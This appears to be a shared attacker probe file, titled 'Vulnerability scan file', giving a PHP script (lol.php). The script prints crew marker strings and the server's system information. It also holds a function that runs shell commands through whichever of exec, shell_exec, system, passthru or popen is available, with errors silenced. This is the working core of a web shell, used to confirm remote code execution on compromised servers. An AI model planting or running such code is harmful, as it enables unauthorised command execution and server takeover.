Vulnerability scan file

lol.php

<?php

echo "v0pCr3w";
echo "sys:".php_uname()."";

$cmd = "echo nob0dyCr3w";
$eseguicmd = ex($cmd);

echo $eseguicmd;

function ex($cfe)
{
	$res = '';
	
	if (!empty($cfe)) {
		if (function_exists('exec')) {
			@exec($cfe, $res);
			
			$res = join("\n", $res);
		} elseif (function_exists('shell_exec')) {
			$res = @shell_exec($cfe);
		} elseif (function_exists('system')) {
			@ob_start();
			@system($cfe);
			
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif (function_exists('passthru')) {
			@ob_start();
			@passthru($cfe);
			
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif (@is_resource($f = @popen($cfe, "r"))) {
			$res = "";
			
			while (!@feof($f)) {
				$res .= @fread($f, 1024);
			}
			
			@pclose($f);
		}
	}
	
	return $res;
}